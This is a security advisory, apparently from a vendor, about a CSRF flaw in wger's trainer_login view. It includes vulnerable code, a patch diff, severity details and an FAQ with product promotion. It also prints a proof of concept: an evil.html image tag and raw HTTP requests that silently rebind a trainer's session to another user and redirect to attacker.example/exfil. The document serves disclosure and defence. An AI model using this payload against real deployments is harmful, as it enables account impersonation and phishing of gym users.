CVE-2026-45161

wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.

This CSRF primitive is the delivery vector that unlocks the trainer_login scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.

CVE-2026-45161 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

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1. What is CVE-2026-45161? CVE-2026-45161 is a medium-severity cross-site request forgery (CSRF) vulnerability in wger (pip), affecting versions <= 2.1. No fixed version is listed yet. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
2. How severe is CVE-2026-45161? CVE-2026-45161 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wger are affected by CVE-2026-45161? wger (pip) versions <= 2.1 is affected.
4. Is there a fix for CVE-2026-45161? No fixed version is listed for CVE-2026-45161 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-45161 exploitable, and should I be worried? Whether CVE-2026-45161 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45161 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45161? No fixed version is listed yet. In the interim: Use per-session CSRF tokens on all state-changing operations and verify them server-side. SameSite cookie attributes provide additional defense.

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